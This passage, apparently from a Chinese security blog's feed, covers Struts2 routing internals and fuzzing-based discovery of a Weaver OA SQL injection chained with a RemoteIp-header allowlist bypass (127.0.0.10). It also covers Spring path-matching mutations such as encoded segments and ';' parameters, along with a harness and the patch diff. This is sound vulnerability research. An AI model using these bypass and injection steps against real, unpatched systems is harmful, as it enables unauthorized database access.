getPackageConfigs 返回的 Map<String, PackageConfig> 对应每个 PackageConfig 及其名称。PackageConfig 表示的是 XML 配置中 <package> 标签内的所有内容，其中就包括路由映射和拦截器配置等信息。其中一些 getter 定义如下:

  • getActionConfigs() - 返回 ActionConfig 列表即所有的路由信息；
  • getAllActionConfigs() - 同上，但同时包含父结点的路由信息；
  • getInterceptorConfigs()、getAllInterceptorConfigs() - 返回所有拦截器信息；
  • getNamespace() - 返回命名空间，在路由 URI 的前半部分，以最后一个 / 分隔，为空表示默认命名空间；
  • …

因此，只要能够获得 com.opensymphony.xwork2.config.Configuration 实例就能获取所有的 PackageConfig 信息，从而获得所有路由和拦截器信息。

Struts2 实际查找路由的实现是在下面的方法中:

com.opensymphony.xwork2.config.impl.DefaultConfiguration.RuntimeConfigurationImpl#getActionConfig

因此调试时候如果不确定请求的路由对应哪个 Action，可以在这里进行动态分析。

后记

一开始只是想要分析一下近期出现的 Confluence 漏洞 CVE-2023-22515 和 CVE-2023-22518，但分析过程中发现有许多 Struts 相关的知识点并不了解，因此就从头开始学习了一遍 Struts 的文档和部分源码实现。虽然现在该框架在新项目中使用不多，但也有一些亮眼的地方，比如拦截器的架构和参数绑定的功能，这些设计思想在许多后继者如 SpringMVC 中也继续发扬光大；但也有一些弊病比如强依赖 OGNL 和迷之路由查找也导致了许多安全问题，也许这就是其日渐衰落的原因吧。

Reference

EoF

版权声明: 自由转载-非商用-非衍生-保持署名 (CC 4.0 BY-SA)
原文地址: https://evilpan.com/2023/11/01/struts2-internal/
微信订阅: 『有价值炮灰』
– TO BE CONTINUED.

]]> Fuzzing 在 Java 漏洞挖掘中的应用 https://evilpan.com/2023/09/09/java-fuzzing/ Sat, 09 Sep 2023 12:40:00 +0800 evilpan https://evilpan.com/2023/09/09/java-fuzzing/

前段时间泛微发布了 10.58.6 补丁，修复好几个笔者之前储备的 0day，本文就来介绍其中一系列比较有意思的漏洞，以及分享一下相关的挖掘思路。

meme

背景

最近几个月笔者都在研究 Java Web 方向，一方面是工作职责的调整，另一方面也想挑战一下新的领域。对于漏洞挖掘而言，选择一个具体目标是非常重要的，经过一段时间供应链和生态的学习以及同事建议，兼顾漏洞挖掘难度和实战效果选择了泛微OA作为第一个漏洞挖掘的目标。

代码审计

虽然本文介绍的是 Fuzzing，但之前也说过很多次，自动化漏洞挖掘只能作为一种辅助手段，是基于自身对代码结构的理解基础上的提效方式。

在真正开始挖漏洞之前，笔者花了好几周的时间去熟悉目标的代码，并且对一些不清晰的动态调用去进行运行时分析，最终才能在 20G 代码之中梳理出大致的鉴权和路由流程。

draft.png

本文介绍的就是其中红框中的漏洞

通过分析 JavaEE 应用注册的路由，注意到其中一个映射:

ServletMapping[url-pattern=/services/*, name=XFireServlet] ^/services(?=/)|^/services\z]

其对应的类为 org.codehaus.xfire.transport.http.XFireConfigurableServlet:

<servlet>
    <servlet-name>XFireServlet</servlet-name>
    <display-name>XFire Servlet</display-name>
    <servlet-class>org.codehaus.xfire.transport.http.XFireConfigurableServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>XFireServlet</servlet-name>
    <url-pattern>/services/*</url-pattern>
</servlet-mapping>

XFire 考古

XFire 并不是泛微自己的业务代码，而是一个 SOAP Web 服务框架，它是作为 Apache Axis 的有效替代方案而开发的。除了通过使用 StAX 实现良好性能的目标外，XFire 的目标还包括通过各种插件机制实现灵活性，API 的直观操作以及与通用标准的兼容性。此外 XFire 非常适合集成到基于 Spring Framework 的项目中。

值得一提的是，XFire 目前已经不再进行开发，其官方继任者是 Apache CXF。

XFire 的用法比较简单，首先在 META-INF/xfire/services.xml 中定义需要导出的服务，比如:

<?xml version="1.0" encoding="UTF-8"?>

<beans xmlns="http://xfire.codehaus.org/config/1.0">
    <service>
        <name>WorkflowService</name>
        <namespace>webservices.services.weaver.com.cn</namespace>
        <serviceClass>weaver.workflow.webservices.WorkflowService</serviceClass>
        <implementationClass>weaver.workflow.webservices.WorkflowServiceImpl</implementationClass>
        <serviceFactory>org.codehaus.xfire.annotations.AnnotationServiceFactory</serviceFactory>
    </service>
</beans>

这样 weaver.workflow.webservices.WorkflowService 就被认为是导出服务。

可以直接被客户端进行调用。调用方式主要是通过 SOAP 请求到 XFireServlet，例如调用上述服务可以发送 POST 请求到 /services/WorkflowService:

<?xml version="1.0" encoding="UTF-8"?>
  <Body>
    <getUserId>
<p>evilpan</p>
<p>2333</p>
    </getUserId>
  </Body>

表示以指定参数调用服务的 getUserId 方法。

SQL 注入

接下来回到漏洞本身，WorkflowService 服务的具体实现为 WorkflowServiceImpl，例如其中的 getUserId 就是服务导出的一个方法，其具体实现为:

@Override
public String getUserId(String var1, String var2) {
    if (Util.null2String(var2).equals("")) {
        return "-1";
    } else if (Util.null2String(var1).equals("")) {
        return "-2";
    } else {
        RecordSet var3 = new RecordSet();
        var3.executeQuery("select id from HrmResource where " + var1 + "=? and status<4 ", var2);
        return !var3.next() ? "0" : Util.null2s(var3.getString("id"), "0");
    }
}

可以看到，一个教科书式的 SQL 注入就已经找到了。

Service 鉴权

现在漏洞点找到了，触发路径也找到了，可实际测试的时候发现这个接口有些特殊的鉴权，其鉴权逻辑为判断请求地址是否是内网地址，如果是的话就放行。

考虑到很多系统是集群部署的，且前面有一层或者多层负载均衡，因此实际请求服务的可能是经过反向代理的请求，此时客户端的真实 IP 只能通过 X-Forward-For 等头部获取。

这本来无可厚非，但是 HTTP 请求头是可以被攻击者任意设置的，因此泛微在此基础上进行了复杂的过滤，精简后的伪代码如下:

private String getRemoteAddrProxy() {
    String ip = null;
    String tmpIp = null;
    tmpIp = this.getRealIp(this.request.getHeaders("RemoteIp"), ipList);
    if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
        ip = tmpIp;
    }
    boolean isInternalIp = IpUtils.internalIp(ip);
    if (isInternalIp) {
    ipList.add(this.request.getRemoteAddr());
    tmpIp = IpUtils.getRealIp(ipList);
    if (!IpUtils.internalIp(tmpIp)) {
        ip = tmpIp;
    }
    }

    return ip != null && ip.length() != 0 && !"unknown".equalsIgnoreCase(ip) ? ip : null;
}

IpUtils#internalIp 的判断更为复杂，连 byte[] 都出来了:

public static boolean internalIp(String ip) {
    if (ip != null && !ip.equals("127.0.0.1") && !ip.equals("::1") && !ip.equals("0:0:0:0:0:0:0:1")) {
    if (ip.indexOf(":") != -1 && ip.indexOf(":") == ip.lastIndexOf(":")) {
        ip = ip.substring(0, ip.indexOf(":"));
    }

    byte[] addr = (byte[])null;
    if (isIpV4(ip)) {
        addr = textToNumericFormatV4(ip.trim());
    } else {
        addr = textToNumericFormatV6(ip.trim());
    }

    return addr == null ? false : internalIp(addr);
    } else {
    return true;
    }
}

public static boolean internalIp(byte[] addr) {
  byte b0 = addr[0];
  byte b1 = addr[1];
  byte SECTION_1 = true;
  byte SECTION_2 = true;
  byte SECTION_3 = true;
  byte SECTION_4 = true;
  byte SECTION_5 = true;
  byte SECTION_6 = true;
  switch (b0) {
    case -84:
      if (b1 >= 16 && b1 <= 31) {
        return true;
      }
    case -64:
      switch (b1) {
        case -88:
          return true;
      }
    default:
      return false;
    case 10:
      return true;
  }
}

其逻辑是对 getRemoteAddrProxy 取出来的 IP，如果路径匹配 webserviceList 且 IP 匹配 webserviceIpList 前缀，就认为是内网地址的请求从而进行放过:

webserviceList = [
   "/online/syncOnlineData.jsp",
   "/services/",
   "/system/MobileLicenseOperation.jsp",
   "/system/PluginLicenseOperation.jsp",
   "/system/InPluginLicense.jsp",
   "/system/InMobileLicense.jsp"
];

webserviceIpList = [
   "localhost",
   "127.0.0.1",
   "192.168.",
   "10.",
   "172.16.",
   "172.17.",
   "172.18.",
   "172.19.",
   "172.20.",
   "172.21.",
   "172.22.",
   "172.23.",
   "172.24.",
   "172.25.",
   "172.26.",
   "172.27.",
   "172.28.",
   "172.29.",
   "172.30.",
   "172.31."
]

根据上面的代码，你能发现鉴权绕过的漏洞吗？

Fuzzing

也许对代码比较敏感的审计人员可以通过上述鉴权代码很快发现问题，但说实话我一开始并没有找到漏洞。于是我想到这个鉴权逻辑是否能单独抽离出来使用 Fuzzing 的思路去进行自动化测试。

之前发现 Java 也有一个基于 libFuzzer 的模糊测试框架 Jazzer，但是试用之后发现比较鸡肋，因为和二进制程序会自动 Crash 不同，Java 的 fuzz 需要自己指定 Sink，令其在触达的时候抛出异常来构造崩溃。

虽然说没法发现通用的漏洞，但是对于现在这个场景来说正好是绝配，我们可以将目标原始的鉴权代码抠出来，然后在未授权通过的时候抛出一个异常即可。构建的 Test Harness 代码如下:

public static void fuzzerTestOneInput(FuzzedDataProvider data) {
    String poc = data.consumeRemainingAsString();
    fuzzIP(poc);
}

public static void fuzzIP(String poc) {
    if (containsNonPrintable(poc)) return;
    XssRequestWeblogic x = new XssRequestWeblogic();
    String out = x.getRemoteAddr(poc);
    boolean check2 = check2(out);
    if (check2) {
        throw new FuzzerSecurityIssueHigh("Found IP [" + poc + "]");
    }
}

public static boolean check2(String ipstr) {
    for (String ip: webserviceIpList) {
        if (ipstr.startsWith(ip)) {
            return true;
        }
    }
    return false;
}

其中精简了一些泛微代码中读取配置相关的依赖，将无关的逻辑进行手动剔除。

编译好代码后，使用以下命令开始进行 fuzz:

$ ./jazzer --cp=target/Test-1.0-SNAPSHOT.jar --target_class=org.example.App

不多一会儿，就已经有了一个成功的结果！

fuzz.png

可以看到图中给出了 127.0.0.10 这个 payload，可以触发 IP 鉴权的绕过！反过来分析这个 PoC，可以发现之所以能绕过是因为 webserviceIpList 只检查了前缀，而 127.0.0.10 可以在 internalIp 返回 False，即认为不是内部 IP，但实际上 webserviceIpList 却认为是内部 IP，从而导致了绕过。

如果只是从代码上去分析的话，可能一时半会并不一定能发现这个问题，可是通过 Fuzzing 在覆盖率反馈的加持下，却可以在几秒钟之内找到正解，这也是人工审计无法比拟的。

漏洞补丁

通过 IP 的鉴权绕过和 XFire 组件的 SQL 注入，笔者实现了多套前台的攻击路径，并且在 HW 中成功打入多个目标。因为当时提交的报告中带了漏洞细节，因此这个漏洞自然也就被官方修补了。如果没有公开的话这个洞短期也不太会被撞到。

漏洞修复的关键补丁如下:

diff --git a/src/weaver/security/webcontainer/IpUtils.java b/src/weaver/security/webcontainer/IpUtils.java
index 6b3d8efc..e7482511 100644
--- a/src/weaver/security/webcontainer/IpUtils.java
+++ b/src/weaver/security/webcontainer/IpUtils.java
@@ -48,12 +48,16 @@ public class IpUtils {
    }

    public static boolean internalIp(String ip) {
-      if (ip != null && !ip.equals("127.0.0.1") && !ip.equals("::1") && !ip.equals("0:0:0:0:0:0:0:1")) {
+      if (ip == null || ip.equals("127.0.0.1") || ip.equals("::1") || ip.equals("0:0:0:0:0:0:0:1")) {
+         return true;
+      } else if (ip.startsWith("127.0.0.")) {
+         return true;
+      } else {
          if (ip.indexOf(":") != -1 && ip.indexOf(":") == ip.lastIndexOf(":")) {
             ip = ip.substring(0, ip.indexOf(":"));
          }

其中把 equals 换成了 startsWith，并且还过滤了我们之前使用的 WorkflowService 组件。当然还是沿袭泛微一贯的漏洞修复原则，不改业务代码，只增加安全校验，这也是对历史遗留问题的一种妥协吧。

总结

  1. 对于 Java 这样的内存安全编程语言也是可以 fuzz 的，只不过目的是找出逻辑漏洞而不是内存破坏；
  2. 漏洞挖掘初期花时间投入到代码审计中是有必要的，有助于理解项目整体结构并在后期进行针对性覆盖；
  3. 漏洞挖掘的时候重点关注边界的系统和服务，处于信任边界之外的组件更有可能过于信任外部输入导致安全问题；
  4. 对于看起来很复杂的数据处理模块，可以充分利用 Fuzzing 的优势，帮助我们快速找出畸形的 payload；
  5. 模块化 Fuzzing 的难点在于抽离代码并构建可编译或者可以独立运行的程序，即构建 Test Harness，跑起来测试用例你就已经成功了 90%；
  6. 软件开发和漏洞挖掘正好相反。开发者会出于厌恶情绪刻意避开复杂的历史遗留代码，而这些代码却是更可能出现问题的地方。因此安全研究员要学会克服自己的厌恶情绪，做到 —— “明知山有屎，偏向屎山行”。

版权声明: 自由转载-非商用-非衍生-保持署名 (CC 4.0 BY-SA)
原文地址: https://evilpan.com/2023/09/09/java-fuzzing/
微信订阅: 『有价值炮灰』
– TO BE CONTINUED.

]]> URL 解析与鉴权中的陷阱 —— Spring 篇 https://evilpan.com/2023/08/19/url-gotchas-spring/ Sat, 19 Aug 2023 12:40:00 +0800 evilpan https://evilpan.com/2023/08/19/url-gotchas-spring/ 在上一篇文章中介绍了 Java Web 应用中 URL 解析与鉴权认证中的常见陷阱，但主要针对 Servlet 容器进行分析。前文末尾也提到了，当前 Web 应用多是使用 Spring 全家桶进行开发，其路由匹配方式又与传统 Web 容器有所差异，因此本文就对其进行分析。

DispatcherServlet

新建一个 Spring 项目，通过 start.spring.io 去勾选需要的依赖，然后下载 Maven 或者 Gradle 的工程目录文件，在其中添加自己的业务代码去构建应用。在本节中主要使用 spring-boot-starter-web 为起始工程进行代码编写和分析。

国内用户可以通过 start.springboot.io 镜像进行加速。

默认的项目使用的是 Tomcat 作为 Servlet 容器，因此我们可以利用前一篇文章的知识去快速定位容器中的路由情况。在 org.apache.catalina.mapper.Mapper#internalMapWrapper 中打下断点，查看所有已经注册的 Servlet，发现 exactWrappers、wildcardWrappers、extensionWrappers 等都为空数组，因此路由时会进入到 defaultWrapper，其对应类名为 org.springframework.web.servlet.DispatcherServlet。

我写了个简单的 Controller，如下所示:

@RestController
@RequestMapping("/bind")
public class BinderController {
    @GetMapping("str")
    String bindString(String p) {
        return "Bind: " + p;
    }
}

在 bindString 中下断点，触发后查看调用栈，截取前半部分如下:

bindString:25, BinderController (com.example.springbootdemo)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
doInvoke:207, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:152, InvocableHandlerMethod (org.springframework.web.method.support)
invokeAndHandle:118, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation)
invokeHandlerMethod:884, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handleInternal:797, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method)
doDispatch:1081, DispatcherServlet (org.springframework.web.servlet)
doService:974, DispatcherServlet (org.springframework.web.servlet)
processRequest:1011, FrameworkServlet (org.springframework.web.servlet)
doGet:903, FrameworkServlet (org.springframework.web.servlet)
service:564, HttpServlet (jakarta.servlet.http)
service:885, FrameworkServlet (org.springframework.web.servlet)
service:658, HttpServlet (jakarta.servlet.http)
// ...

DispatcherServlet 继承自 FrameworkServlet，实现了标准的 Java EE Servlet 接口，因此最初是调用到了 HttpServlet 的 service 方法接口。实际预处理请求以及路由(分发)的方法为 doService，关键代码如下:

protected void doService(HttpServletRequest request, HttpServletResponse response) throws Exception {
    logRequest(request);
    // ...
    if (this.parseRequestPath) {
		previousRequestPath = (RequestPath) request.getAttribute(ServletRequestPathUtils.PATH_ATTRIBUTE);
		ServletRequestPathUtils.parseAndCache(request);
	}
	try {
		doDispatch(request, response);
	}
    // ...
}

parseAndCache 中对使用 setAttribute 保存请求 URL:

public static RequestPath parseAndCache(HttpServletRequest request) {
    RequestPath requestPath = ServletRequestPath.parse(request);
    request.setAttribute(PATH_ATTRIBUTE, requestPath);
    return requestPath;
}

属性的 key 为 PATH_ATTRIBUTE，对应字符串是 org.springframework.web.util.ServletRequestPathUtils.PATH，在后面 doDispatch 进行路由查找的时候使用 getAttribute 获取对应 URL 再进行查找。

在实际调试的时候发现，如果一次 HTTP 请求出错的话，doService 会调用两次，这是因为 Spring 在遇到错误时会将 response 设置为错误返回，然后 Tomcat 会根据配置的自定义错误页面进行再次分发，相应的逻辑在 org.apache.catalina.core.StandardHostValve#invoke:

public void invoke(Request request, Response response) throws IOException, ServletException {
    // ...
    if (!response.isErrorReportRequired()) {
        context.getPipeline().getFirst().invoke(request, response); // 第一次调用
    }
    response.setSuspended(false);
    Throwable t = (Throwable) request.getAttribute(RequestDispatcher.ERROR_EXCEPTION);
    // Look for (and render if found) an application level error page
    if (response.isErrorReportRequired()) {
        // If an error has occurred that prevents further I/O, don't waste time
        // producing an error report that will never be read
        AtomicBoolean result = new AtomicBoolean(false);
        response.getCoyoteResponse().action(ActionCode.IS_IO_ALLOWED, result);
        if (result.get()) {
            if (t != null) {
                throwable(request, response, t);
            } else {
                status(request, response); // 第二次调用
            }
        }
    }
}

错误请求的路由是 /error，因此在第二次请求时会看到 getRequestURI 返回的就是 /error。

doDispatch

DispatcherServlet#doDispatch 的核心简化实现如下:

protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
    processedRequest = checkMultipart(request);
    HandlerExecutionChain mappedHandler = getHandler(processedRequest);
    if (mappedHandler == null) {
        noHandlerFound(processedRequest, response);
        return;
    }
    HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());
    ModelAndView mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
    processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
}

关键步骤就是三步:

  1. 查找 handler；
  2. 查找 HandlerAdapter；
  3. 调用 handler；

这里介绍下背景知识。在 Spring 中提供了多种定义路由的方法，每一类方法可以使用一个 HandlerMapping 表示，该接口通过 getHandler 获取具体的业务代码对象。

public interface HandlerMapping {
	HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception;
}

handler 对象封装在 HandlerExecutionChain 类中，其类型是通用的 Object 类。封装类中还包含可选的 HandlerInterceptor 数组，用于给开发者自定义在 handler 之前执行的代码，比如认证或者语言/主题的设置等。

实际调用 handler 即用户定义路由需要通过 HandlerAdapter 实现。这样做的目的主要是为了让 DispatcherServlet 代码中无需知晓 handler 的具体类型，从而具备可拓展的抽象能力。

public interface HandlerAdapter {
    boolean supports(Object handler);
	ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception;
}

handle 接口通过将 handler 转换成实际的类型并进行调用，将结果统一返回为 ModelAndView 类型，然后根据需要进行渲染并将结果写入到 response 完成响应提交的返回。

可见，获取对应 HandlerMapping 是路由的重要一步，DispatcherServlet#getHandler 的实现就是从 this.handlerMappings 数组中依次遍历并调用 mapping.getHandler，如果返回不为空则返回对应的 handler 对象。

protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
    if (this.handlerMappings != null) {
        for (HandlerMapping mapping : this.handlerMappings) {
            HandlerExecutionChain handler = mapping.getHandler(request);
            if (handler != null) {
                return handler;
            }
        }
    }
    return null;
}

handlerMappings 数组中包含多个 HandlerMapping 的实现，根据开发者具体定义的路由确定。这里测试时注册的映射有以下这些:

handlerMappings

这些映射都是 AbstractHandlerMapping 的子类，在基类中实现了 getHandler 接口，实际返回的 handler 如果是字符串类型则认为是 Bean 的名称，否则认为是实际的 handler:

public final HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
    Object handler = getHandlerInternal(request);
	if (handler == null) {
		handler = getDefaultHandler();
	}
	if (handler == null) {
		return null;
	}
	// Bean name or resolved handler?
	if (handler instanceof String handlerName) {
		handler = obtainApplicationContext().getBean(handlerName);
	}
	HandlerExecutionChain executionChain = getHandlerExecutionChain(handler, request);
	return executionChain;
}

大致的类结构如下所示，每个版本略有不同，仅作参考:

cha.png

在基类中最终会调用到 lookupHandler:

protected Object lookupHandler(
		RequestPath path, String lookupPath, HttpServletRequest request) throws Exception {

	Object handler = getDirectMatch(lookupPath, request);
	if (handler != null) {
		return handler;
	}

	// Pattern match?
	List<PathPattern> matches = null;
	for (PathPattern pattern : this.pathPatternHandlerMap.keySet()) {
		if (pattern.matches(path.pathWithinApplication())) {
			matches = (matches != null ? matches : new ArrayList<>());
			matches.add(pattern);
		}
	}
	if (matches == null) {
		return null;
	}
	if (matches.size() > 1) {
		matches.sort(PathPattern.SPECIFICITY_COMPARATOR);
		if (logger.isTraceEnabled()) {
			logger.trace("Matching patterns " + matches);
		}
	}
	PathPattern pattern = matches.get(0);
	handler = this.pathPatternHandlerMap.get(pattern);
	if (handler instanceof String handlerName) {
		handler = obtainApplicationContext().getBean(handlerName);
	}
	validateHandler(handler, request);
	String pathWithinMapping = pattern.extractPathWithinPattern(path.pathWithinApplication()).value();
	pathWithinMapping = UrlPathHelper.defaultInstance.removeSemicolonContent(pathWithinMapping);
	return buildPathExposingHandler(handler, pattern.getPatternString(), pathWithinMapping, null);
}

总结:

  1. 先使用 getDirectMatch 进行直接匹配，查找 this.handlerMap 中的路由；
  2. 后使用模式匹配，依次匹配 this.pathPatternHandlerMap 中的路由，具体匹配方法见下节；
  3. 查找完成后对所有匹配进行排序，选出最佳匹配的 handler 进行返回；

由于注册的路由大多数都继承自 AbstractHandlerMapping，因此如果我们想要在运行时查看目标 Spring 应用的所有路由，可以首先断点在 DispatcherServlet#doDispatch，然后遍历其中的 this.handlerMappings，最后读取每个 mapping 中的 handlerMap 和 pathPatternHandlerMap 属性，即可枚举出所有的路由 Pattern。

不同的 HandlerMapping 针对不同的映射类型。主要分为两大类:

  1. AbstractHandlerMethodMapping: 用于将请求映射到 HandlerMethod；
  2. AbstractUrlHandlerMapping: 用于针对 URL 的映射，比如精确匹配或者模式匹配(PathPattern、AntPathMatcher)，多个匹配满足时采用最优(最长)匹配的结果；

一些具体的实现包括但不限于:

  • WebMvcEndpointHandlerMapping: 将请求映射到 Spring MVC 控制器方法，用于 Spring Actuator 的端点，如 /actuator/health 和 /actuator/info 等；之所以有这个映射是因为项目中使用了 actuator 模块 (spring-boot-starter-actuator)；
  • ControllerEndpointHandlerMapping: 同上，也是 actuator 中的；
  • RequestMappingHandlerMapping: 查找使用 @Controller 修饰的类中的 @RequestMapping 方法，返回方法级别的映射；
  • SimpleUrlHandlerMapping: 将 URL 映射到 Bean 实例或者 Bean 的名称；
  • BeanNameUrlHandlerMapping: 将 URL 映射到以 / 开头的 bean，类似于 Struts 将 URL 映射到 action；

我们关心的是 URL 路径到 Handler 的路由或者说匹配规则，因此还需要选择其中几个实现进行深入的跟踪。

以前面定义的 /bind/str 路由为例，其调用路径较深，经过一顿 F7 之后最终可以看到使用 PathPattern.matches 进行匹配，调用栈如下:

matches:42, SeparatorPathElement (org.springframework.web.util.pattern)
matches:216, PathPattern (org.springframework.web.util.pattern)
getMatchingPatterns:203, PathPatternsRequestCondition (org.springframework.web.servlet.mvc.condition)
getMatchingCondition:195, PathPatternsRequestCondition (org.springframework.web.servlet.mvc.condition)
getMatchingCondition:397, RequestMappingInfo (org.springframework.web.servlet.mvc.method)
getMatchingMapping:110, RequestMappingInfoHandlerMapping (org.springframework.web.servlet.mvc.method)
getMatchingMapping:68, RequestMappingInfoHandlerMapping (org.springframework.web.servlet.mvc.method)
addMatchingMappings:447, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
lookupHandlerMethod:407, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
getHandlerInternal:382, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
getHandlerInternal:126, RequestMappingInfoHandlerMapping (org.springframework.web.servlet.mvc.method)
getHandlerInternal:68, RequestMappingInfoHandlerMapping (org.springframework.web.servlet.mvc.method)
getHandler:505, AbstractHandlerMapping (org.springframework.web.servlet.handler)
getHandler:1275, DispatcherServlet (org.springframework.web.servlet)

PathPattern 是以斜杠 / 为间隔的路径模式，遵循以下规则:

  1. ? 匹配单个字符；
  2. * 匹配单个路径段(path segment)之间的零个或者多个字符；
  3. ** 匹配零个或者多个路径段，直至路径结尾；
  4. {spring}: 匹配一个路径段并且捕捉该段保存为变量 “spring”；
  5. {spring:[a-z]+}: 同上，但要求路径段满足正则表达式 [a-z]+；
  6. {*spring}: 类似于 **，但将匹配的路径段保存为变量 “spring”；

其规则类似于与我们之前介绍 Shiro 时用的 Ant 风格路径匹配(Ant Style Path Matcher)。

Ant 指的是最早在 Apache Ant 使用的匹配方法，不同于正则表达式，主要是为了实现 JavaEE Servlet 的路径匹配规则。

PathPattern 内部包含一个 PathElement 格式的 head 属性，以双链表的形式保存了所有路径段和分隔符，head 指向路径的开头即 SeparatorPathElement Separator(/)。

public boolean matches(PathContainer pathContainer) {
    if (this.head == null) {
        return !hasLength(pathContainer) ||
            (this.matchOptionalTrailingSeparator && pathContainerIsJustSeparator(pathContainer));
    }
    else if (!hasLength(pathContainer)) {
        if (this.head instanceof WildcardTheRestPathElement || this.head instanceof CaptureTheRestPathElement) {
            pathContainer = EMPTY_PATH; // Will allow CaptureTheRest to bind the variable to empty
        }
        else {
            return false;
        }
    }
    MatchingContext matchingContext = new MatchingContext(pathContainer, false);
    return this.head.matches(0, matchingContext);
}

head.matches 不断匹配下一级路径或者分隔符(this.next)，并调用其 matches 方法进行匹配。head 即 SeparatorPathElement 的实现如下:

public boolean matches(int pathIndex, MatchingContext matchingContext) {
    if (pathIndex < matchingContext.pathLength && matchingContext.isSeparator(pathIndex)) {
        if (isNoMorePattern()) {
            if (matchingContext.determineRemainingPath) {
                matchingContext.remainingPathIndex = pathIndex + 1;
                return true;
            }
            else {
                return (pathIndex + 1 == matchingContext.pathLength);
            }
        }
        else {
            pathIndex++;
            return (this.next != null && this.next.matches(pathIndex, matchingContext));
        }
    }
    return false;
}

其他的 PathElement 接口实现包括:

  • org.springframework.web.util.pattern.SeparatorPathElement
  • org.springframework.web.util.pattern.WildcardPathElement
  • org.springframework.web.util.pattern.SingleCharWildcardedPathElement
  • org.springframework.web.util.pattern.WildcardTheRestPathElement
  • org.springframework.web.util.pattern.CaptureVariablePathElement
  • org.springframework.web.util.pattern.CaptureTheRestPathElement
  • org.springframework.web.util.pattern.LiteralPathElement
  • org.springframework.web.util.pattern.RegexPathElement

比如 /foo 就包含一个 SeparatorPathElement 和一个 LiteralPathElement，后者的 value 为 foo。LiteralPathElement 的实现如下:

public boolean matches(int pathIndex, MatchingContext matchingContext) {
    if (pathIndex >= matchingContext.pathLength) {
        // no more path left to match this element
        return false;
    }
    Element element = matchingContext.pathElements.get(pathIndex);
    if (!(element instanceof PathSegment pathSegment)) {
        return false;
    }
    String value = pathSegment.valueToMatch();
    if (value.length() != this.len) {
        // Not enough data to match this path element
        return false;
    }

    if (this.caseSensitive) {
        if (!this.text.equals(value)) {
            return false;
        }
    }
    pathIndex++;
    // ...
    return (this.next != null && this.next.matches(pathIndex, matchingContext));
}

其他的 PathElement 都有不同实现，这里就不一一介绍了。

PathContainer 也是类似的数据结构，其中 elements 数组中包含了所有解析的路径段和分隔符，类型为 Element；对于路径段使用子接口 PathSegment 表示，拥有返回路径参数以及解码路径值的能力。

interface PathSegment extends Element {

    /**
     * Return the path segment value, decoded and sanitized, for path matching.
     */
    String valueToMatch();
    char[] valueToMatchAsChars();

    /**
     * Path parameters associated with this path segment.
     * @return an unmodifiable map containing the parameters
     */
    MultiValueMap<String, String> parameters();
}

从中我们可以看出路径匹配的算法:

  1. 应用启动时解析所有的 Controller 等各种路由映射，将其以 PathPattern 的格式存储在不同 HandlerMapping 中；
  2. 收到请求时，DispatcherServlet 会将请求路径解析为 PathContainer，将路径中的元素(Path Element)保存到列表中，元素包含路径分隔符和每一级路径的内容；其中路径内容使用 PathSegment 表示，其 valueToMatch 返回的是不带路径参数且 URL 解码后的内容，精确匹配时会使用 String.equals 进行对比；
  3. 实际比较时，PathContainer 会被封装成 MatchingContext，包括当前比对的位置等信息，方便使用 .next 遍历链表时保存比较的上下文信息；
  4. 路径比对会从表头开始，依次调用 next.matches，直至最后一级，此时 next 为 null；

就 RequestMappingHandlerMapping 而言，我们能够针对路径做的变异如下，假设原始路径为 /api/flag:

  • /api/%66%6C%61%67: 基于 valueToMatch 返回 URL 解码后的的 segment 值；
  • /api;a=b/flag: 基于 valueToMatch 返回不包含路径参数的值；

注意 /api/./flag 或者 /api/../api/flag 这种请求时无法路由到目标 Handler 的，因为匹配时会将 dot-segment 当成一般的路径去进行精确匹配，因此只能路由到 @GetMapping("/./flag) 对应的 Handler 上。

参考资料:

对于常规 Servlet 容器，在所有定义的路由都无法匹配时，会尝试从磁盘文件或者 jar 中的资源文件进行匹配，即所说的 DefaultServlet。Spring MVC 也有类似的行为，当前面所有的 HadlerMapping 都找不到匹配时，会尝试查找对应的资源文件，负责处理这部分操作的是最后一个 SimpleUrlHandlerMapping，其 beanName 为 resourceHandlerMapping。

其中的 pathPatternHandlerMap 默认包含两个 PathPattern，分别是:

  1. /webjars/** -> ResourceHttpRequestHandler [classpath [META-INF/resources/webjars/]]
  2. /** -> ResourceHttpRequestHandler [classpath [META-INF/resources/], classpath [resources/], classpath [static/], classpath [public/], ServletContext [/]]

/** 是一个 PathElement，称为 WildcardTheRestPathElement，用于匹配所有 / 开头的路径。

最后调用 handler 的是 HttpRequestHandlerAdapter，实现比较简单，就是直接调用 handler.handleRequest:

public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler)
        throws Exception {

    ((HttpRequestHandler) handler).handleRequest(request, response);
    return null;
}

读取资源文件的 handleRequest 实现如下:

public void handleRequest(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException {
    // For very general mappings (e.g. "/") we need to check 404 first
    Resource resource = getResource(request);
    if (resource == null) {
        logger.debug("Resource not found");
        response.sendError(HttpServletResponse.SC_NOT_FOUND);
        return;
    }
    // Supported methods and required session
    checkRequest(request);
    // Header phase
	// Apply cache settings, if any
	// Check the media type for the resource
	// Content phase
	if (request.getHeader(HttpHeaders.RANGE) == null) {
        this.resourceHttpMessageConverter.write(resource, mediaType, outputMessage);
    } else {
        ServletServerHttpRequest inputMessage = new ServletServerHttpRequest(request);
